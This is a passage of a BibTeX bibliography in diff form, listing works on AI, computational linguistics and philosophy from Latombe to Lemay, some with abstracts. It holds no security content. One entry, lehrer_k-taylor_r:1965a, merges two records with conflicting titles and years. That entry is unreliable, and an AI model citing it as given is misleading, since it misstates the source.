Jean-Claude Latombe}, + title = {Motion Planning with Uncertainty: A Landmark Approach}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {287--317}, + acontentnote = {Abstract: + In robotics uncertainty exists at both planning and execution + time. Effective planning must make sure that enough information + becomes available to the sensors during execution, to allow the + robot to correctly identify the states it traverses. It requires + selecting a set of states, associating a motion command with + every state, and synthesizing functions to recognize state + achievement. These three tasks are often interdependent, + causing existing planners to be either unsound, incomplete, + and/or computationally impractical. In this paper we partially + break this interdependence by assuming the existence of landmark + regions in the workspace. We define such regions as ``islands of + perfection'' where position sensing and motion control are + accurate. Using this notion, we propose a sound and complete + planner of polynomial complexity. Creating landmarks may + require some prior engineering of the robot and/or its + environment. Though we believe that such engineering is + unavoidable in order to build reliable practical robot systems, + its cost must be reduced as much as possible. With this goal in + mind, we also investigate how some of our original assumptions + can be eliminated. In particular, we show that sensing and + control do not have to be perfect in landmark regions. We also + study the dependency of a plan on control uncertainty and we + show that the structure of a reliable plan only changes at + critical values of this uncertainty. Hence, any uncertainty + reduction between two consecutive such values is useless. The + proposed planner has been implemented. Experimentation has been + successfully conducted both in simulation and using a NOMAD-200 + mobile robot. } , + topic = {robot-motion;motion-planning;} + } + +@book{ le_kf:1989a, + author = {Kai-Fu Lee}, + title = {Automatic Speech Recognition: The Development of the + {SPHINX} System}, + publisher = {Kluwer Academic Publishers}, + year = {1989}, + address = {Dordrecht}, + topic = {speech-recognition;} + } + +@book{ leach:1976a, + author = {Edmund Leach}, + title = {Culture and Communication: The Logic by which Symbols Are + Connected}, + publisher = {Cambridge University Press}, + year = {1976}, + address = {Cambridge, England}, + topic = {cultural-anthropology;structuralism;semiotics;} + } + +@article{ leacock-etal:1998a, + author = {Claudia Leacock and Martin Chodorow and George A. + Miller}, + title = {Using Corpus Statistics and {W}ord{N}et Relations for + Sense Identification}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {147--165}, + topic = {corpus-statistics;lexical-disambiguation;WordNet;} + } + +@book{ leake:1996a, + editor = {David B. Leake}, + title = {Case-Based Reasoning}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {case-based-reasoning;} + } + +@incollection{ lean:1962a, + author = {M.E. Lean}, + title = {{M}r. {G}asking on Avowals}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {169--186}, + address = {New York}, + xref = {Commentary on: gasking:1962a.}, + topic = {indexicals;} + } + +@book{ leasombe:1990a, + author = {Le\'a Somb\'e {P.~Besnard, M.O.~Cordier, D.~Dubois + L.~Fari\~nas del Cerro, C.~Froidevox, Y.~Moinard, H.~Prade, + C.~Schwind, and P.~Siegel}}, + title = {Reasoning Under Incomplete Information in Artificial + Intelligence: A Comparison of Formalisms Using a Single + Example}, + publisher = {John Wiley and Sons}, + year = {1990}, + address = {New York}, + topic = {reasoning-about-uncertainty;} + } + +@book{ lebart-etal:1998a, + author = {Ludvic Lebart and Andr\'e Salem and Lisette Barry}, + title = {Exploring Textual Data}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {0-7923-4840-0}, + xref = {Review: biber:1999a.}, + topic = {corpus-statistics;multivariate-statistics;cluster-analysis;} + } + +@article{ lebbah-lhomme:2002a, + author = {Yahia Lebbah and Olivier Lhomme}, + title = {Accelerating Filtering Techniques for Numeric {CSP}s}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {1}, + pages = {109--132}, + topic = {constraint-satisfaction;} + } + +@incollection{ leber-napoli:2002a, + author = {Florence Le Ber and Amedeo Napoli}, + title = {Design and Comparison of Lattices of Topological Relations + Based on {G}alois Lattice Theory}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {37--46}, + address = {San Francisco, California}, + topic = {kr;spatial-representation;spatial-reasoning;} + } + +@book{ leblanc:1973a, + editor = {Hugues Leblanc}, + title = {Truth, Syntax and Modality}, + publisher = {North-Holland}, + year = {1973}, + address = {Amsterdam}, + topic = {philosophical-logic;} + } + +@article{ leblanc:1983a, + author = {Hugues Leblanc}, + title = {Probability Functions and Their Assumption Sets---The + Singulary Case}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {4}, + pages = {379--402}, + topic = {probability-semantics;} + } + +@incollection{ leblanc:1983b, + author = {Hughes Leblanc}, + title = {Alternatives to Standard First-Order Semantics}, + booktitle = {Handbook of Philosophical Logic, Volume {I}: + Elements of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1983}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {189--274}, + address = {Dordrecht}, + topic = {probability-semantics;} + } + +@book{ leblanc-etal:1983a, + editor = {Hugues Leblanc and Raphael Stern and Raymond Gumb}, + title = {Essays in Epistemology and Semantics}, + publisher = {Haven Publications}, + year = {1983}, + address = {New York}, + topic = {epistemology;nl-semantics;} + } + +@article{ leblanc-etal:1989a, + author = {Hugues Leblanc and Peter Roeper and Michael Thau and + George Weaver}, + title = {Henkin's Completeness Proof: Forty Years Later}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1989}, + volume = {32}, + number = {2}, + pages = {212--232}, + topic = {completeness-theorems;}, + } + +@article{ lebowitz:1983a, + author = {Michael Lebowitz}, + title = {Memory-Based Parsing}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {4}, + pages = {363--404}, + topic = {parsing-algorithms;} + } + +@article{ leckie-zukerman:1998a, + author = {Christopher Leckie and Ingrid Zukerman}, + title = {Inductive Learning of Search Control Rules for Planning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {63--98}, + topic = {machine-learning;planning;search;} + } + +@article{ ledesma-etal:1997a, + author = {Luis de Ledesma and Aurora P\'erez and Daniel Borrajo + and Luis M. Laita}, + title = {A Computational Approach to {G}eorge {B}oole's Discovery + of Mathematical Logic}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {2}, + pages = {281--307}, + topic = {automated-scientific-discovery;} + } + +@article{ lee_ch-rosenfeld:1985a, + author = {Chia-Hoang Lee and Azriel Rosenfeld}, + title = {Improved Methods of Estimating Shape from Shading Using + the Light Source Coordinate System}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {2}, + pages = {125--143}, + topic = {shape-recognition;} + } + +@article{ lee_ch:1988a, + author = {Chia-Hoang Lee}, + title = {Interpreting Image Curve from Multiframes}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {2}, + pages = {145--163}, + acontentnote = {Abstract: + A method of reconstructing the structure of a rigid space curve + from multiframes is presented. The problem is formulated as: + Does there exist a unique reconstruction of a general smooth + space curve from images if the curve is moving constantly in the + space? What is the minimum information needed to allow such a + reconstruction? The motion here is taken to be general, but + rotates about a fixed axis uniformly. The only featured points + are the two endpoints of the curve. We first establish a + necessary and sufficient condition on the number of frames for + determining the motion with only two feature points observable. + Also, whether the underlying motion meets the formulation of the + problem can be checked from the observables. Next, we show that + the ambiguities of matching a given nonfeatured point on the + curve in one frame are limited to the intersections of a + straight line and the image curve on the other frame. The + ambiguities of matching nonfeature points can then be resolved + and the reconstruction of the space curve follows readily. + Experiments and examples are provided to illustrate each step of + the method. Furthermore, we find that conclusions obtained by + Yuille and Poggio [8] (generalized ordering constraint) in the + case of parallel projection are either special cases of or can + be easily derived from this method. + } , + topic = {spatial-reasoning;multiframes;motion-reconstruction;} + } + +@article{ lee_ch:1988b, + author = {Chia-Hoang Lee}, + title = {A Comparison of Two Evidential Reasoning Schemes}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {1}, + pages = {127--134}, + acontentnote = {Abstract: + Cordon and Shortliffe [2] advocate the use of Dempster-Shafer + (D-S) theory in the evidence-gathering process. It is stated + that they are unaware of any formal model which could allow + inexact reasoning at whatever level of abstraction. Pearl [3] + later shows how evidential reasoning can be conducted in the + same hypothesis space using a Bayesian model. The purpose of + this note is to examine the difference between these two + schemes, and to point out certain inconsistencies of this + Bayesian model with the motives behind the use of the D-S model. } , + topic = {Dempster-Shafer-theory;Bayesian-reasoning;} + } + +@incollection{ lee_e-geller:1996a, + author = {Eunice (Yugyun) Lee and James Geller}, + title = {Parallel Transitive Reasoning in Mixed Relational Hierarchies}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {576--587}, + address = {San Francisco, California}, + topic = {kr;mereology;inheritance;inheritance-theory;mereology; + parallel-processing;kr-course;} + } + +@article{ lee_hs-schor:1992a, + author = {Ho Soo Lee and Marshall I. Schor}, + title = {Match Algorithms for Generalized {R}ete Networks}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {3}, + pages = {249--274}, + topic = {rete-networks;AI-algorithms;} + } + +@article{ lee_kf-mahajan:1988a, + author = {Kai-Fu Lee and Sanjoy Mahajan}, + title = {A Pattern Classification Approach to Evaluation Function + Learning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {1}, + pages = {1--25}, + topic = {machine-learning;} + } + +@article{ lee_kf-mahajan:1990a, + author = {Kai-Fu Lee and Sanjoy Mahajan}, + title = {The Development of a World Class {O}thello Program}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + pages = {21--36}, + topic = {game-playing;} + } + +@inproceedings{ lee_l:1997a, + author = {Lillian Lee}, + title = {Fast Context-Free Parsing Requires Fast Boolean + Matrix Multiplication}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {9--15}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {parsing-algorithms;parsing-efficiency;} + } + +@article{ lee_l:2000a, + author = {Lillian Lee}, + title = {Review of {\it Foundations of Statistical Natural Language + Processing}, by {C}hristopher {D}. {M}anning and {H}inrich + {S}ch\"utze}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {277--279}, + xref = {manning-schutze:1999a.}, + topic = {statistical-nlp;} + } + +@article{ lee_mh:1999a, + author = {M.H. Lee}, + title = {Qualitative Circuit Models in Failure Analysis Reasoning}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {239--276}, + topic = {qualitative-reasoning;diagnosis;} + } + +@article{ lee_sj-etal:1985a, + author = {Shih Jong Lee and Robert M. Haralick and Ming Chua Zhang}, + title = {Understanding Objects with Curved Surfaces from a Single + Perspective View of Boundaries}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {2}, + pages = {145--169}, + topic = {shape-recognition;} + } + +@article{ lee_sj-plaisted:1994a, + author = {Shie-Jue Lee and David A. Plaisted}, + title = {Problem Solving by Searching for Models with a Theorem + Prover}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {205--233}, + acontentnote = {Abstract: + Given a problem described as a set of rules or constraints, + finding solutions that satisfy these constraints is a central + task in the area of artificial intelligence. We present a + theorem prover that can solve a problem by searching for models. + The problem representation it accepts is in first-order logic + which is fully declarative. The solutions obtained are logical + consequences of the constraints, so they are correct. Negative + information can be asserted and processed correctly. Finally, if + the problem has multiple solutions, all of them can be found.}, + topic = {theorem-proving;constraint-satisfaction;problem-solving;} + } + +@inproceedings{ lee_ys-etal:1997a, + author = {Young-Suk Lee and Clifford Weinstein and Stefanie + Seneff and Dinesh Tummala}, + title = {Ambiguity Resolution for Machine Translation of + Telegraphic Messages}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {120--125}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-translation;disambiguation;} + } + +@book{ leech:1983a, + author = {Geoffrey Leech}, + title = {Principles of Pragmatics}, + publisher = {Longman}, + year = {1983}, + address = {London}, + topic = {pragmatics;} + } + +@incollection{ leech:1997a, + author = {Geoffrey Leech}, + title = {Introducing Corpus Annotation}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {1--18}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;} + } + +@incollection{ leech:1997b, + author = {Geoffrey Leech}, + title = {Grammatical Tagging}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {19--33}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;corpus-tagging;} + } + +@incollection{ leech-etal:1997a, + author = {Geoffrey Leech and Tony McEnery and Martin Wynne}, + title = {Further Levels of Annotation}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {85--101}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;} + } + +@incollection{ leech-eyes:1997a, + author = {Geoffrey Leech and Elizabeth Eyes}, + title = {Syntactic Annotation: Treebanks}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {34--52}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;treebank-annotation;} + } + +@article{ leeds:1978a, + author = {Stephen Leeds}, + title = {Theories of Reference and Truth}, + journal = {Erkenntnis}, + year = {1978}, + volume = {13}, + pages = {111--129}, + missinginfo = {number}, + topic = {nl-semantics;truth-definitions;reference;} + } + +@article{ leeds:1997a, + author = {Stephen Leeds}, + title = {Incommensurability and Vagueness}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {3}, + pages = {385--407}, + topic = {incommensurability-of-theories;vagueness;} + } + +@article{ leeds:2002a, + author = {Stephen Leeds}, + title = {Perception, Transparency, and the Language of Thought}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {1}, + pages = {104--}, + topic = {perception;mental-language;} + } + +@article{ leekam-prior_m:1994a, + author = {Susan Leekam and Margot Prior}, + title = {Can Autistic Children Distinguish Lies from Jokes? + A Second Look at Second-Order Belief Attribution}, + journal = {Journal of Child Psychology}, + year = {1994}, + volume = {35}, + number = {5}, + month = {July}, + missinginfo = {pages}, + topic = {propositional-attitude-ascription;} + } + +@article{ lees-klima:1963a, + author = {Robert B. Lees and Edward S. Klima}, + title = {Rules for {E}nglish Pronominalization}, + journal = {Language}, + year = {1963}, + volume = {39}, + pages = {17--28}, + topic = {anaphora;} + } + +@article{ leggitt-gibbs:2000a, + author = {J.S. Leggitt and R.W. {Gibbs, Jr.}}, + title = {Emotional Reactions to Verbal Irony}, + journal = {Discourse Processes}, + year = {2000}, + volume = {29}, + number = {1}, + pages = {1--24}, + missinginfo = {A's 1st name}, + topic = {irony;} + } + +@incollection{ lehman-carbonell:1989a, + author = {Jill Fain Lehman and Jaime Carbonell}, + title = {Learning the User's Language: A Step Towards Automated + Creation of User Models}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {163--194}, + address = {Berlin}, + topic = {user-modeling;machine-language-learning;} + } + +@book{ lehman:1992a, + author = {Jill Fain Lehman}, + title = {Adaptive Parsing: Self-Extending Natural Language Interfaces}, + publisher = {Kluwer Academic Publishers}, + year = {1992}, + address = {Boston}, + ISBN = {0792391837 (paper)}, + topic = {adaptive-interfaces;machine-language-learning;} + } + +@incollection{ lehman:1996a, + author = {Jill Fain Lehman}, + title = {Meaning Matters: Response to {M}iller}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {133--140}, + topic = {cognitive-architectures;nl-processing;parsing-psychology; + lexical-semantics;} + } + +@unpublished{ lehman-etal:1997a, + author = {Jill Fain Lehman and Julie {van Dyke} and Deryle Lonsdale and + Nancy L. Green and Mark Smith}, + title = {A Building Block Approach to a Unified Language Capability}, + year = {1997}, + note = {Unpublished manuscript, Computer Science Department, + Carnegie Mellon University.}, + topic = {cognitive-architectures;computational-linguistics;NL-Soar;} + } + +@unpublished{ lehman-etal:1997b, + author = {Jill Fain Lehman}, + title = {Toward the Use of Speech and Natural Language Technology + in Language Intervention}, + year = {1997}, + note = {Unpublished manuscript, Computer Science Department, + Carnegie Mellon University.}, + topic = {computer-assisted-language-development;} + } + +@inproceedings{ lehmann_d:1984a, + author = {Daniel J. Lehmann}, + title = {Knowledge, Common Knowledge, and Related Puzzles}, + booktitle = {Proceedings of the Third {ACM} Symposium on + Principles of Distributed Computing}, + year = {1984}, + pages = {62--67}, + missinginfo = {editor, publisher}, + topic = {mutual-belief;} + } + +@incollection{ lehmann_d:1989a, + author = {Daniel Lehmann}, + title = {What Does a Conditional Knowledge Base Entail?}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {212--222}, + address = {San Mateo, California}, + topic = {kr;kr-course;nonmonotonic-conditionals;nonmonotonic-logic;} + } + +@inproceedings{ lehmann_d-magidor:1990a, + author = {Daniel Lehmann and Menachem Magidor}, + title = {Preferential Logics: The Predicate Calculus Case}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {57--72}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nonmonotonic-logic;model-preference;} + } + +@techreport{ lehmann_d:1992a1, + author = {Daniel Lehmann}, + title = {Plausibility Logic}, + institution = {Department of Computer Science, The Hebrew + University of Jerusalem}, + number = {TR--92--3}, + year = {1992}, + address = {Hebrew University, Jerusalem 91904, Israel}, + topic = {kr;nonmonotonic-logic;kr-course;} + } + +@article{ lehmann_d-magidor:1992b1, + author = {Daniel Lehmann and Menachem Magidor}, + title = {What Does a Conditional Knowledge Base Entail?}, + journal = {Artificial intelligence}, + year = {1992}, + volume = {55}, + number = {1}, + pages = {1--60}, + topic = {nonmonotonic-conditionals;nonmonotonic-logic;} + } + +@inproceedings{ lehmann_d:1995a, + author = {Daniel Lehmann}, + title = {Belief Revision Revised}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1534--1540}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@inproceedings{ lehmann_d:1997a, + author = {Daniel Lehmann}, + title = {What is Qualitative? A Framework for + Quantitative and Qualitative Decision Theory}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {65--70}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;nonstandard-probability;} + } + +@inproceedings{ lehmann_d:1998a, + author = {Daniel Lehmann}, + title = {Nonstandard Numbers for Qualitative Decision Making}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {161--174}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {qualitative-utility;nonstandard-probability;} + } + +@article{ lehmann_d-etal:2001a, + author = {Daniel Lehmann and Menachem Magidor and Karl Schlechta}, + title = {Distance Semantics for Belief Revision}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {1}, + pages = {295--317}, + topic = {belief-revision;conditionals;} + } + +@book{ lehmann_f:1992a, + editor = {Fritz Lehmann}, + title = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + address = {Oxford}, + topic = {kr; semantic-nets;kr-course;} + } + +@incollection{ lehmann_f:1992b, + author = {Fritz Lehmann}, + title = {Semantic Networks}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {1--50}, + address = {Oxford}, + xref = {Also published in Computers and Mathematics with Applications; + vol. 23; 1992.}, + topic = {kr;semantic-nets;kr-course;} + } + +@article{ lehmann_s:1994a, + author = {Scott Lehmann}, + title = {Strict {F}regean Free Logic}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {3}, + pages = {307--335}, + topic = {reference-gaps;Frege;} + } + +@book{ lehnert-ringle:1982a, + editor = {Wendy G. Lehnert and Martin H. Ringle}, + title = {Strategies For Natural Language Processing}, + publisher = {Lawrence Erlbaum Associates}, + year = {1982}, + address = {Hillsdale, New Jersey}, + ISBN = {0898591910}, + topic = {nl-proccessing;nl-interpretation;} + } + +@article{ lehnert-etal:1983a, + author = {Wendy G. Lehnert}, + title = {{BORIS}---An Experiment in In-Depth Understanding of + Narratives}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {1}, + pages = {15--62}, + topic = {narrative-understanding;} + } + +@inproceedings{ lehnert:1986a, + author = {Wendy Lehnert}, + title = {A Conceptual Theory of Question Answeing}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {158--164}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republication in: grosz-etal:1986a.}, + topic = {nl-understanding;question-answering;} + } + +@incollection{ lehnert:1988a, + author = {Wendy G. Lehnert}, + title = {Knowledge-Based Natural Language Understanding}, + booktitle = {Exploring Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + editor = {Howard E. Shrobe}, + pages = {83--132}, + address = {San Mateo, California}, + topic = {kr;nl-kr;nl-interpretation;nl-survey;conceptual-dependency; + kr-course;} + } + +@article{ lehrer_a:1968a, + author = {Adrienne Lehrer}, + title = {Competence, Grammaticality, and Sentence Complexity}, + journal = {The Philosophical Forum}, + year = {1968}, + volume = {1}, + pages = {85--93}, + missinginfo = {number}, + topic = {philosophy-of-linguistics;competence;} + } + +@article{ lehrer_a:1971a, + author = {Adrienne Lehrer}, + title = {Semantics: An Overview}, + journal = {The Linguistic Reporter}, + year = {1971}, + pages = {201--207}, + note = {Supplement 27.}, + topic = {nl-semantics;} + } + +@article{ lehrer_a:1972a, + author = {Adrienne Lehrer}, + title = {Evaluating Grammars: What Counts as Data?}, + journal = {Lingua}, + year = {1972}, + volume = {29}, + pages = {201--207}, + missinginfo = {number}, + topic = {philosophy-of-linguistics;} + } + +@article{ lehrer_a-lehrer_k:1982a, + author = {Adrienne Lehrer and Keith Lehrer}, + title = {Antonymy}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {3}, + pages = {483--501}, + topic = {anyonymy;nl-semantics;negation;} + } + +@article{ lehrer_k:1959a, + author = {Keith Lehrer}, + title = {Ifs, Cans, and Causes}, + journal = {Analysis}, + year = {1959--1960}, + volume = {20}, + pages = {122--124}, + missinginfo = {number}, + topic = {ability;conditionals;JL-Austin;} + } + +@article{ lehrer_k:1961a, + author = {Keith Lehrer}, + title = {Cans and Conditionals: A Rejoinder}, + journal = {Analysis}, + year = {1961}, + volume = {22}, + pages = {23--24}, + missinginfo = {number}, + topic = {ability;conditionals;JL-Austin;} + } + +@article{ lehrer_k:1962a, + author = {Keith Lehrer}, + title = {Can the Will Be Caused?}, + journal = {The Philosophical Review}, + year = {1962}, + volume = {71}, + pages = {49--92}, + missinginfo = {number}, + topic = {freedom;causality;volition;} + } + +@article{ lehrer_k:1963a, + author = {Keith Lehrer}, + title = {Decisions and Causes}, + journal = {The Philosophical Review}, + year = {1963}, + volume = {72}, + pages = {224--227}, + missinginfo = {number}, + xref = {Discussion of ginet:1962a.}, + topic = {freedom;causality;} + } + +@article{ lehrer_k:1963b, + author = {Keith Lehrer}, + title = {\,`Could' and Determinism}, + journal = {Analysis}, + year = {1964}, + volume = {24}, + pages = {159--160}, + missinginfo = {number}, + topic = {ability;conditionals;JL-Austin;counterfactual-past;} + } + +@article{ lehrer_k-taylor_r:1965a, + author = {Keith Lehrer and Richard Taylor}, + title = {Time, Truth, and Modalities}, + journal = {Mind, New Series}, + year = {1965}, + volume = {74}, + number = {295}, + pages = {390--398}, + title = {Freedom and Determinism}, + publisher = {Random House}, + year = {1968}, + address = {New York}, + topic = {freedom;(in)determinism;} + } + +@article{ lehrer_k:1968a, + author = {Keith Lehrer}, + title = {Cans Without Ifs}, + journal = {Analysis}, + year = {1968}, + volume = {29}, + pages = {29--32}, + missinginfo = {number}, + topic = {ability;conditionals;freedom;JL-Austin;} + } + +@incollection{ lehrer_k:1976a, + author = {Keith Lehrer}, + title = {\,`Can' in Theory and Practice: A Possible Worlds Analysis}, + booktitle = {Action Theory}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Myles Brand and Douglas Walton}, + pages = {241--270}, + address = {Dordrecht}, + topic = {ability;} + } + +@article{ lehrer_k:1984a, + author = {Keith Lehrer}, + title = {Coherence, Consensus and Language}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {1}, + pages = {43--55}, + topic = {coherence;philosophy-of-language;} + } + +@incollection{ leib:1967a, + author = {Hans-Heinrich Lieb}, + title = {On Subdividing Semiotic}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {94--119}, + address = {Dordrecht}, + topic = {pragmatics;semiotics;} + } + +@unpublished{ leiber:1997a, + author = {Justin Leiber}, + title = {Talking with Extraterrestrials}, + year = {1997}, + note = {Unpublished manuscript.}, + topic = {popular-linguistics;communication-with-aliens;} + } + +@book{ leibniz:1714a, + author = {Gottfried Leibniz}, + title = {The Principles of Philosophy, or the Monadology}, + publisher = {Hackett Publishing Co.}, + year = {1989}, + address = {Indianapolis}, + Note = {(Originally published in 1714. Translated by R. Ariew and + D. Garber.)}, + topic = {metaphysics;philosophy-classics;} + } + +@incollection{ leishman:1989a, + author = {Debbie Leishman}, + title = {Analogy as a Constrained Partial Correspondence over + Conceptual Graphs}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {223--234}, + address = {San Mateo, California}, + topic = {kr;analogy;conceptual-graphs;kr-course;} + } + +@article{ leitgeb:2001a, + author = {Hannes Leitgeb}, + title = {Nonmonotonic Reasoning by Inhibition Nets}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {161--201}, + topic = {nonmonotonic-reasoning;inhibition-nets;} + } + +@article{ leitgeb:2001b, + author = {Hannes Leitgeb}, + title = {Theories of Truth which Have No Standard Models}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {69--87}, + topic = {semantic-closure;omega-consistency/completeness; + semantic-paradoxes;truth;} + } + +@article{ leith_m-cunningham_j:2001a, + author = {Miguel Leith and Jim Cunningham}, + title = {Aspect and Interval Tense Logic}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {3}, + pages = {331--381}, + topic = {tense-aspect;interval-logic;} + } + +@book{ leith_p:1990a, + author = {Philip Leith}, + title = {Formalism in {AI} and Computer Science}, + publisher = {Ellis Horwood}, + year = {1990}, + address = {London}, + contentnote = {TC: + 1. The Concept of Formalism + 2. The Call to Formalism + 3. Logic and Information + 4. Post-Medieval Information Processing + 5. Axiomatic Strategies in Computers and the Law + 6. Computer Models and Their Social Framework + 7. The Expertise in an Expert System + 10. Engineering and Mathematics in the Software Crisis + 11. Computer Science Education + 12. The Sociology of Computing as a Science + } , + ISBN = {0-13-325549-2}, + topic = {logic-in-CS;legal-AI;social-impact-of-computation;} + } + +@article{ lejewski:1974a, + author = {Czeslaw Lejewski}, + title = {A System of Logic for Bicategorial Ontology}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {265--283}, + topic = {philosophical-ontology;} + } + +@incollection{ lemaitre-etal:1997a, + author = {Jacques Le Maitre and Elizabeth Murisasco and Monique + Rolbert}, + title = {From Annotated Corpora to Databases: The + {S}gml{QL} Language}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {37--58}, + address = {Stanford, California}, + topic = {corpus-linguistics;linguistic-databases;} + } + +@book{ lemay:1998a, + author = {Laura Lemay}, + title = {Teach Yourself {Perl} in 21 Days}, + publisher = {Sams}, + year = {1998}, + address = {Indianapolis}, + ISBN = {067231305-7}, + topic = {programming-manual;PERL;} + } + +@book{ 